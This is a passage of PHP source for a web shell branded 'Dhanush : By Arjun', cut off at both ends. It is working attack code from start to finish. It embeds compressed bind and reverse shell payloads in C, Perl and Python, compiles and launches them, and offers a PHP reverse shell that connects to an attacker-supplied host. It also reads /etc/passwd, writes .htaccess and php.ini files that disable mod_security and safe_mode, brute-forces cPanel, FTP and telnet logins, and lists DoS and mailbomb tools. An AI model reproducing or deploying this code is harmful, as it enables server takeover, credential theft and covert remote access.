'joomla')\r\n\t{\r\n\t\tdocument.getElementById('myjoomla').style.display='block';\r\n\t\tdocument.getElementById('tableprefix').value=\"jos_\";\r\n\t\tdocument.getElementById('smfipb').style.display='none';\r\n\t\t\r\n\t}\r\n}\r\n</script>\r\n<body>\r\n<?php\r\n\t\r\n\$back_connect_p=\"eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==\";\r\n\r\n\$backconnect_perl=\"eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=\";\r\n\r\n\$bind_port_c=\"bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP\";\r\n\r\n\$bind_port_p=\"bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==\";\r\nshellstyle();\r\n?>\r\n<div align=\"center\">\r\n<a href=\"<?php \$_SERVER['PHP_SELF'];?>\"><font size=\"6\" color=\"#FF0000\" style=\"text-decoration:none;\" face=\"Times New Roman, Times, serif\">Dhanush : By Arjun </font></a>\r\n\r\n</div>\r\n<hr color=\"#1B1B1B\">\r\n\t\r\n<table cellpadding=\"0\" style=\"width:100%;\">\r\n\t<tr>\r\n\t\t<td colspan=\"2\" style=\"width:75%;\">System Info : <font class=\"txt\"><?php systeminfo(); ?></font></td>\r\n\t\t<td style=\"width:10%;\">Server Port : <font class=\"txt\"><?php serverport(); ?></font></td>\t\r\n\t\t<td style=\"width:15%;\"><a href=# onClick=\"maindata('com')\"><font class=\"txt\"><i>Software Info</i></font></a></td>\r\n\t</tr>\r\n\t<?php if(\$os != 'Windows' || shell_exec(\"id\") != null) { ?><tr>\r\n\t\t<td style=\"width:75%;\" colspan=\"2\">Uid : <font class=\"txt\"><?php echo shell_exec(\"id\"); ?></font></td>\r\n\t\t<?php \$d0mains = @file(\"/etc/named.conf\");\r\n\t\t\t\$users=@file('/etc/passwd');\r\n        if(\$d0mains)\r\n        { \r\n\t\t\t\$count;  \r\n\t\t\tforeach(\$d0mains as \$d0main)\r\n\t\t\t{\r\n\t\t\t\tif(@ereg(\"zone\",\$d0main))\r\n\t\t\t\t{\r\n\t\t\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\tif(strlen(trim(\$domains[1][0])) > 2)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tflush();\r\n\t\t\t\t\t\t\$count++;\r\n\t\t\t   \t\t} \r\n\t\t\t   \t}\r\n\t\t\t}\r\n\t\t?><td colspan=2 style=\"width:75%;\">Websites : <font class=\"txt\"><?php echo \"\$count  Domains\"; ?></font></td><?php\r\n\t\t}\r\n\t\telse if(\$users) \r\n\t\t{\r\n\t\t\t\$file = fopen(\"/etc/passwd\", \"r\");\r\n\t\t\twhile(!feof(\$file))\r\n\t\t\t{\r\n\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\$matches = array();\r\n\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\tcontinue;\r\n\t\t\t\t\$count++;\r\n\t\t\t}\r\n\t\t ?><td colspan=2 style=\"width:75%;\">Websites : <font class=\"txt\"><?php echo \"\$count  Domains\"; ?></font></td><?php } ?>\r\n\t</tr><?php } ?>\r\n\t<tr>\r\n\t\t<td style=\"width:20%;\">Disk Space : <font class=\"txt\"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>\r\n\t\t<td style=\"width:20%;\">Free Space : <font class=\"txt\"><?php echo HumanReadableFilesize(freeSpace()); \$dksp = diskSpace(); \$frsp = freeSpace(); echo \" (\".(int)(\$frsp/\$dksp*100).\"%)\"; ?></font></td>\r\n\t\t\r\n\t\t<td style=\"width:20%;\">Server IP : <font class=\"txt\"><a href=\"http://whois.domaintools.com/<?php serverip(); ?>\"><?php serverip(); ?></a></font></td>\r\n\t\t<td style=\"width:15%;\">Your IP : <font class=\"txt\"><a href=\"http://whois.domaintools.com/<?php yourip(); ?>\"><?php yourip(); ?></a></font></td>\r\n\t</tr>\r\n\t\r\n\t<tr>\r\n\t\t<?php if(\$os == 'Windows'){ ?><td style=\"width:15%;\">View Directories : <font class=\"txt\"><?php echo showDrives();?></font></td><?php } ?>\r\n\t\t<td style=\"width:30%;\">Current Directory : <span id=\"crdir\"><font color=\"#009900\">\r\n\t\t<?php \r\n\t\$d = str_replace(\"\\\\\",\$directorysperator,\$dir);\r\n\tif (substr(\$d,-1) != \$directorysperator) {\$d .= \$directorysperator;}\r\n\t\$d = str_replace(\"\\\\\\\\\",\"\\\\\",\$d);\r\n\t\$dispd = htmlspecialchars(\$d);\r\n\t\$pd = \$e = explode(\$directorysperator,substr(\$d,0,-1));\r\n\t\$i = 0;\r\n\tforeach(\$pd as \$b)\r\n\t{\r\n\t \$t = '';\r\n\t \$j = 0;\r\n\t foreach (\$e as \$r)\r\n\t {\r\n\t  \$t.= \$r.\$directorysperator;\r\n\t  if (\$j == \$i) {break;}\r\n\t  \$j++;\r\n\t }\r\n\$href=addslashes(\$t);\r\n\t\r\n\t echo \"<a href=javascript:void(0) onClick=\\\"changedir('dir','\$href')\\\"><b><font class=\\\"txt\\\">\".htmlspecialchars(\$b).\$directorysperator.'</font></b></a>';\r\n\t \$i++;\r\n\t}\r\n\r\n\t\t?>\r\n\t\t</font></span> <a href=# onClick=\"gethome('home','<?php echo addslashes(getcwd()); ?>')\">[Home]</a></td>\r\n\t\t<td style=\"width:20%;\">Disable functions : <font class=\"txt\"><?php echo getDisabledFunctions(); ?> </font></td>\r\n\t\t<td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>\r\n\t\t<?php if(\$os == \"Linux\") { ?><td><a href=\"<?php echo \$self.'?downloadit'?>\"><font color=\"#FF0000\">Download It</font></a><?php } ?></td>\r\n\t</tr>\r\n\t</table>\r\n\t\r\n<?php \$m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');\r\n\t\$m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');\r\n\techo \"<table border=3 style=border-color:#333333; width=100%; cellpadding=2>\r\n\t<tr>\";\r\n\t\$menu = '';\r\n\r\n\tforeach(\$m1 as \$k => \$v)\r\n\t\t\$menu .= \"<td style=\\\"border:none;\\\"><a href=# onClick=\\\"maindata('\".\$v.\"')\\\"><font class=\\\"mainmenu\\\">[\".\$k.\"]</font></a></td>\";\r\n\t\techo \$menu;\r\n\t\techo \"</tr>\r\n</table>\r\n<div style=\\\"float:left;\\\">\r\n\t<a href=\\\"javascript:history.back(1)\\\"><font class=txt size=3> [Back] </font></a>&nbsp;\r\n\t<a href=\\\"javascript:history.go(1)\\\"><font class=txt size=3> [Forward] </font></a>&nbsp;\r\n\t<a href=\\\"\\\"><font class=txt size=3> [Refresh] </font></a></div>\r\n<table style=\\\"margin-left:270px; border-color:#333333;\\\" border=2 width=60%; cellpadding=2>\r\n\t<tr align=center>\";\r\n\tforeach(\$m2 as \$k => \$v)\r\n\t\t\$menu1 .= \"<td style=\\\"border:none;\\\"><a href=# onClick=\\\"maindata('\".\$v.\"','\".addslashes(\$_GET['dir']).\"')\\\"><font class=\\\"mainmenu\\\">[\".\$k.\"]</font></a></td>\";\r\n\t\techo \$menu1;\r\n\t\techo \"<td style=\\\"border:none;\\\"><a href=javascript:void(0) onClick=\\\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\\\"><font class=mainmenu>[SelfKill]</font></a></td>\r\n\t\t<td style=\\\"border:none;\\\"><a href=\\\"\$self?logout\\\"><font class=mainmenu>[LogOut]</font></a></td>\r\n\t</tr>\r\n</table>\";?>\r\n\r\n<div id=\"showmaindata\"></div>\r\n<?php\r\n\r\nif(isset(\$_GET[\"downloadit\"]))\r\n{\r\n\t\$FolderToCompress = getcwd(); \r\n\texecmd(\"tar --create --recursion --file=backup.tar \$FolderToCompress\"); \r\n\t\r\n\t\$prd=explode(\"/\",\"backup.tar\");\r\n\tfor(\$i=0;\$i<sizeof(\$prd);\$i++)\r\n\t{\r\n\t\t\$nfd=\$prd[\$i];\r\n\t}\r\n\t@ob_clean(); \r\n   header(\"Content-type: application/octet-stream\"); \r\n   header(\"Content-length: \".filesize(\$nfd)); \r\n   header(\"Content-disposition: attachment; filename=\\\"\".\$nfd.\"\\\";\"); \r\n   readfile(\$nfd);\r\n   exit;\t\r\n}\r\n//Turn Safe Mode Off\r\n\r\n\tif(getDisabledFunctions() != \"None\" || safe() != \"OFF\")\r\n\t{\r\n\t   \t\$file_pointer = fopen(\".htaccess\", \"w+\");\r\n\t\tfwrite(\$file_pointer, \"<IfModule mod_security.c>\r\n    \t\t\t\tSecFilterEngine Off\r\n   \t\t\t\t\t SecFilterScanPOST Off\r\n\t\t\t\t\t</IfModule> \\n\\r\"); \r\n\t\t\t\r\n\t\t\$file_pointer = fopen(\"ini.php\", \"w+\");\r\n\t\tfwrite(\$file_pointer, \"<?\r\necho ini_get(\\\"safe_mode\\\");\r\necho ini_get(\\\"open_basedir\\\");\r\ninclude(\\\$_GET[\\\"file\\\"]);\r\nini_restore(\\\"safe_mode\\\");\r\nini_restore(\\\"open_basedir\\\");\r\necho ini_get(\\\"safe_mode\\\");\r\necho ini_get(\\\"open_basedir\\\");\r\ninclude(\\\$_GET[\\\"ss\\\"]);\r\n?>\"); \r\n\r\n\t\t\$file_pointer = fopen(\"php.ini\", \"w+\");\r\n\t\tfwrite(\$file_pointer, \"safe_mode               =       Off\"); \r\n\t\t\t\t\t\r\n\t\tfclose(\$file_pointer); \r\n\t\t\r\n    }\r\n\t\r\n\telse if(isset(\$_POST['cpanelattack']))\r\n\t{\r\n\t\tif(!empty(\$_POST['username']) && !empty(\$_POST['password']))\r\n\t\t{\r\n\t\t\t\t\$userlist=explode(\"\\n\",\$_POST['username']);\r\n\t\t\t\t\$passlist=explode(\"\\n\",\$_POST['password']);\r\n\t\r\n\t\t\t\tif(\$_POST['cracktype'] == \"ftp\")\r\n\t\t\t\t{\r\n\t\t\t\t\tforeach (\$userlist as \$user)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$pureuser = trim(\$user);\r\n\t\t\t\t\t\tforeach (\$passlist as \$password )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$purepass = trim(\$password);\r\n\t\t\t\t\t\t\tftp_check(\$_POST['target'],\$pureuser,\$purepass,\$connect_timeout);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (\$_POST['cracktype'] == \"cpanel\" || \$_POST['cracktype'] == \"telnet\")\r\n\t\t\t\t{\r\n\t\t\t\t\tif(\$cracktype == \"telnet\")\r\n\t\t\t\t\t\t\$cpanel_port=\"23\";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$cpanel_port=\"2082\";\r\n\t\t\t\t\tforeach (\$userlist as \$user)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$pureuser = trim(\$user);\r\n\r\n\t\t\t\t\t\techo \"<b><font face=Tahoma style=\\\"font-size: 9pt\\\" color=#008000> [ - ] </font><font face=Tahoma style=\\\"font-size: 9pt\\\" color=#FF0800>\r\n\t\t\t\t\t\tProcessing user \$pureuser ...</font></b><br><br>\";\r\n\r\n\t\t\t\t\t\tforeach (\$passlist as \$password )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\$purepass = trim(\$password);\r\n\t\t\t\t\t\t\tcpanel_check(\$_POST['target'],\$pureuser,\$purepass,\$connect_timeout);\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\t\$bdmessage =  \"<center>Enter Username & Password List<center>\";\r\n\t\t}\r\n\t\r\nelse if(isset(\$_GET['info']))\r\n{\r\n\t\$bdmessage = \"<br><div align=left><font class=txt>\".nl2br(shell_exec(\"whois \".\$_GET['info'])).\"</font></div>\";\r\n}\r\nelse if(isset(\$_POST['u']))\r\n{\r\n\t\$path = \$_REQUEST['path'];\r\n\tif(is_dir(\$path))\r\n        {\r\n\t\t\$setuploadvalue = 0;\r\n            \$uploadedFilePath = \$_FILES['uploadfile']['name'];\r\n            \$tempName = \$_FILES['uploadfile']['tmp_name'];\r\n\t\t\tif(\$os == \"Windows\")\r\n\t            \$uploadPath = \$path . \$directorysperator .  \$uploadedFilePath;\r\n\t\t\telse if(\$os == \"Linux\")\r\n\t\t\t\t \$uploadPath = \$path . \$directorysperator . \$uploadedFilePath;\r\n\t\t\tif(\$stat = move_uploaded_file(\$_FILES['uploadfile']['tmp_name'] , \$uploadPath))\r\n           \t\t\$bdmessage = \"<font class=txt size=3><blink>File uploaded to \$uploadPath</blink></font>\";\r\n            else\r\n            \t\$bdmessage = \"<font  size=3><blink>Failed to upload file to \$uploadPath</blink></font>\";\r\n         }\r\n\t?><script type=\"text/javascript\">changedir('dir','<?php echo addslashes(\$path); ?>'); </script><?php\r\n}\r\nelse if(isset(\$_POST['backdoor']))\r\n{\r\n\tif(isset(\$_POST['passwd']) && isset(\$_POST['port']) && isset(\$_POST['lang']))\r\n\t{\t  ?><script type=\"text/javascript\">gethome('connect');</script><?php\r\n\t\t \$passwd = \$_POST['passwd'];\r\n\t\t \r\n\t\t if(\$_POST['lang'] == 'c') \r\n\t\t {\r\n\t\t\tif(is_writable(\".\"))\r\n\t\t\t{\t\r\n\t\t\t\t@\$fh=fopen(getcwd().\"/backp.c\",'w');\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_c)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod  0755 \".getcwd().\"/backp.c\");\r\n\t\t\t\texecmd(\"gcc -o \".getcwd().\"/backp \".getcwd().\"/backp.c\");\r\n\t\t\t\texecmd(\"chmod  0755 \".getcwd().\"/backp\");\r\n\t\t\t\texecmd(getcwd().\"/backp\".\" \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\t\t\t\t\$scan = exec_all(\"ps aux | grep backp\".\$_POST['port']); \r\n\t\t\t\tif(eregi(\"backp\".\$_POST['port'],\$scan))\r\n\t\t\t\t\t\$bdmessage = \"Process found running, backdoor setup successfully.\";\r\n\t\t\t\telse\r\n\t\t\t\t\t\$bdmessage = \"Process not found running, backdoor not setup successfully.\";\r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t@\$fh=fopen(\"/tmp/backp.c\",\"w\");\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_c)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod  0755 /tmp/backp.c\");\r\n\t\t\t\texecmd(\"gcc -o /tmp/backp /tmp/backp.c\");\r\n\t\t\t\t\$out = execmd(\"/tmp/backp\".\" \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\t\t\t\t\$scan = exec_all(\"ps aux | grep backp\".\$_POST['port']); \r\n\t\t\t\tif(eregi(\"backp\".\$_POST['port'],\$scan))\r\n\t\t\t\t\t\$bdmessage = \"Process found running, backdoor setup successfully.\";\r\n\t\t\t\telse\r\n\t\t\t\t\t\$bdmessage = \"Process not found running, backdoor not setup successfully.\";\r\n\t\t\t}\r\n        \t} \r\n\t\tif(\$_POST['lang'] == 'perl') \r\n\t\t{\r\n        \tif(is_writable(\".\"))\r\n\t\t\t{\t\r\n\t\t\t\t@\$fh=fopen(getcwd().\"/bp.pl\",'w');\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_p)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod 0755 \".getcwd().\"/bp.pl\");\r\n\t\t\t\texecmd(\"perl \".getcwd().\"/bp.pl \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\r\n\t\t\t\t\$bdmessage = \"<pre>\$out\\n\".execmd(\"ps aux | grep bp.pl\").\"</pre>\"; \r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t@\$fh=fopen(\"/tmp/bp.pl\",\"w\");\r\n\t\t\t\t@fwrite(\$fh,gzinflate(base64_decode(\$bind_port_p)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\texecmd(\"chmod 0755 \".getcwd().\"/bp.pl\");\r\n\t\t\t\texecmd(\"perl \".getcwd().\"/bp.pl \".\$_POST['port'].\" \". \$passwd .\" &\");\r\n\t\t\t\t\$bdmessage = \"<pre>\$out\\n\".execmd(\"ps aux | grep bp.pl\").\"</pre>\"; \r\n\t\t\t}\r\n        }\r\n \t}\r\n}\r\nelse if(isset(\$_POST['backconnect']))\r\n{\r\n    if(\$_POST['ip'] != \"\" && \$_POST['port'] != \"\")\r\n\t{     ?><script type=\"text/javascript\">gethome('connect');</script><?php\r\n\t\t\$host = \$_POST['ip'];\r\n\t\t\$port = \$_POST['port'];\r\n\t\tif(\$_POST[\"lang\"] == \"perl\")\r\n\t\t{\r\n\t\t\tif(is_writable(\".\"))\r\n\t\t\t{\t\r\n\t\t\t\t@\$fh=fopen(getcwd().\"/bc.pl\",'w');\r\n\t\t\t\t@fwrite(\$fh,gzuncompress(base64_decode(\$backconnect_perl)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\t\$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\texecmd(\"perl \".getcwd().\"/bc.pl \$host \$port  &\",\$disable);\r\n\t\t\t\tif(!@unlink(getcwd().\"/bc.pl\")) echo \"<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>\";\r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t@\$fh=fopen(\"/tmp/bc.pl\",\"w\");\r\n\t\t\t\t@fwrite(\$fh,gzuncompress(base64_decode(\$backconnect_perl)));\r\n\t\t\t\t@fclose(\$fh);\r\n\t\t\t\t\$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\texecmd(\"perl /tmp/bc.pl \$host \$port  &\",\$disable);\r\n\t\t\t\tif(!@unlink(\"/tmp/bc.pl\")) \r\n\t\t\t\t\techo \"<h2>Warning: Failed to delete reverse-connection program</h2></br>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse if(\$_POST[\"lang\"] == \"python\")\r\n\t\t{\r\n\t\t\tif(is_writable(\".\"))\r\n\t\t\t{\r\n\t\t\t\t \$w_file=@fopen(getcwd().\"/bc.py\",\"w\") or die(mysql_error());\r\n\t\t\t\t if(\$w_file)\r\n\t\t\t\t {\r\n\t\t\t\t\t @fputs(\$w_file,gzuncompress(base64_decode(\$back_connect_p)));\r\n\t\t\t\t\t @fclose(\$w_file);\r\n\t\t\t\t\t chmod(getcwd().'/bc.py', 0777);\r\n\t\t\t\t }\r\n\t\t\t\t execmd(\"python \".getcwd().\"/bc.py \$host \$port  &\",\$disable);\r\n\t\t\t\t \$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\r\n\t\t\t\t if(!@unlink(getcwd().\"/bc.py\")) \r\n\t\t\t\t\techo \"<h2>Warning: Failed to delete reverse-connection program</h2></br>\";\t\t\t\t \t\t\t\t \r\n\t\t\t} \r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t     \$w_file=@fopen(\"/tmp/bc.py\",\"w\");\r\n\t\t\t\t if(\$w_file)\r\n\t\t\t\t {\r\n\t\t\t\t\t @fputs(\$w_file,gzuncompress(base64_decode(\$back_connect_p)));\r\n\t\t\t\t\t @fclose(\$w_file);\r\n\t\t\t\t\t chmod('/tmp/bc.py', 0777);\r\n\t\t\t\t }\r\n\t\t\t\t execmd(\"python /tmp/bc.py \$host \$port  &\",\$disable);\r\n\t\t\t\t \$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\t if(!@unlink(\"/tmp/bc.py\")) \r\n\t\t\t\t\techo \"<h2>Warning: Failed to delete reverse-connection program</h2><br>\";\t\t\t\t \r\n\t\t\t}\r\n\t\t}\r\n\t\telse if(\$_POST[\"lang\"] == \"php\")\r\n\t\t{\r\n\t\t\t\$bdmessage = \"<font color='#FFFFFF'>Trying to connect...</font>\";\r\n\t\t\t\$ip = \$_POST['ip']; \r\n\t\t\t\$port=\$_POST['port']; \r\n\t\t\t\$sockfd=fsockopen(\$ip , \$port , \$errno, \$errstr ); \r\n\t\t\tif(\$errno != 0)\r\n\t\t\t{\r\n\t\t\t\t\$bdmessage = \"<font color='red'><b>\$errno</b> : \$errstr</font>\";\r\n\t\t\t}\r\n\t\t\telse if (!\$sockfd)\r\n\t\t\t{ \r\n\t\t\t\t   \$result = \"<p>Fatal : An unexpected error was occured when trying to connect!</p>\";\r\n\t\t\t} \r\n\t\t\telse\r\n\t\t\t{ \r\n\t\t\t\tfputs (\$sockfd ,\"\\n=================================================================\\nCoded By Arjun\\n=================================================================\");\r\n\t\t\t \$pwd = exec_all(\"pwd\");\r\n\t\t\t \$sysinfo = exec_all(\"uname -a\");\r\n\t\t\t \$id = exec_all(\"id\");\r\n\t\t\t \$len = 1337;\r\n\t\t\t fputs(\$sockfd ,\$sysinfo . \"\\n\" );\r\n\t\t\t fputs(\$sockfd ,\$pwd . \"\\n\" );\r\n\t\t\t fputs(\$sockfd ,\$id .\"\\n\\n\" );\r\n\t\t\t fputs(\$sockfd ,\$dateAndTime.\"\\n\\n\" );\r\n\t\t\t while(!feof(\$sockfd))\r\n\t\t\t {  \r\n\t\t\t\t\$cmdPrompt =\"(dhanush)[\$]> \";\r\n\t\t\t\tfputs (\$sockfd , \$cmdPrompt ); \r\n\t\t\t\t\$command= fgets(\$sockfd, \$len);\r\n\t\t\t\tfputs(\$sockfd , \"\\n\" . exec_all(\$command) . \"\\n\\n\");\r\n\t\t\t} \r\n\t\t\tfclose(\$sockfd); \r\n\t\t\t} \r\n\t\t}\r\n\t}\r\n}\r\nelse if (isset (\$_GET['val1'], \$_GET['val2']) && is_numeric(\$_GET['val1']) && is_numeric(\$_GET['val2'])) \r\n{\r\n\t\$temp = \"\";\r\n\tfor(;\$_GET['val1'] <= \$_GET['val2'];\$_GET['val1']++) \r\n\t{\r\n\t\t\$uid = @posix_getpwuid(\$_GET['val1']);\r\n\t\tif (\$uid)\r\n\t\t\t \$temp .= join(':',\$uid).\"\\n\";\r\n\t}\r\n\techo '<br/>';\r\n\tparamexe('Users', \$temp);\r\n}\r\nelse if(isset(\$_GET['download']))\r\n{\r\n\tdownload();\t\t\t\r\n}\r\nelse\r\n{ \r\n\t?><script type=\"text/javascript\">gethome('home','<?php echo addslashes(\$dir); ?>');</script><?php\r\n}\t\r\n\$is_writable = is_writable(\$dir)?\"<font class=txt>&lt; writable &gt;</font>\":\"&lt; not writable &gt;\";\r\n?>\r\n</p><center><div id=\"showdir\"><?php echo \$bdmessage; ?></div></center>\r\n<table style=\"width:100%;border-color:#333333;\" border=\"1\">\r\n<tr>\r\n<td align=\"center\">\r\n<form method=\"post\" enctype=\"multipart/form-data\">\r\nUpload file : <br><input type=\"file\" name=\"uploadfile\" class=\"box\" size=\"50\">\r\n<input type=\"hidden\" id=path name=\"path\" value=\"<?php echo \$dir; ?>\" />&nbsp;\r\n<input type=submit value=\"Upload\" name=\"u\" value=\"u\" class=\"but\" ></form>\r\n<span name=\"wrtble\"><?php\r\necho \$is_writable; ?></span>\r\n\t\t  <br>\r\n</td>\r\n<td align=\"center\" style=\"height:105px;\">Create File : \r\n<form onSubmit=\"createdir('Create',createfile.value);return false;\">\r\n<input type=\"text\" class=\"box\" value=\"<?php echo \$dir . \$directorysperator; ?>\" name=\"createfile\" id=\"createfile\">\r\n<input type=\"button\" onClick=\"createdir('Create',createfile.value)\" value=\"Create\" class=\"but\">\r\n</form><span name=\"wrtble\">\r\n<?php echo \$is_writable; ?></span>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td align=\"center\" style=\"height:105px;\">Execute : <form onSubmit=\"executemyfile('execute','<?php echo addslashes(\$dir); ?>',execute.value);return false;\">\r\n<input type=\"text\" class=\"box\" name=\"execute\">\r\n<input type=\"hidden\" id=\"exepath\" name=\"exepath\" value=\"<?php echo \$dir; ?>\">\r\n <input type=\"button\" onClick=\"executemyfile('execute',exepath.value,execute.value)\" value=\"Execute\" class=\"but\"></form></td>\r\n\r\n<td align=\"center\">Create Directory : <form onSubmit=\"createdir('createfolder',createfolder.value);return false;\">\r\n<input type=\"text\" value=\"<?php echo \$dir . \$directorysperator; ?>\" class=\"box\" name=\"createfolder\" id=\"createfolder\">\r\n<input type=\"button\" onClick=\"createdir('createfolder',createfolder.value)\" value=\"Create\" class=\"but\">\r\n</form><span name=\"wrtble\"><?php\r\necho \$is_writable;\r\n?></span></td></tr>\r\n<tr><td style=\"height:105px;\" align=\"center\">Get Exploit&nbsp;<form onSubmit=\"getexploit(wurl.value,path.value,functiontype.value);return false;\">\r\n<input type=\"text\" name=\"wurl\" class=\"box\" value=\"http://www.some-code/exploits.c\"> \r\n<input type=\"button\" onClick=\"getexploit(wurl.value,uppath.value,functiontype.value)\" value=\"    G0    \" 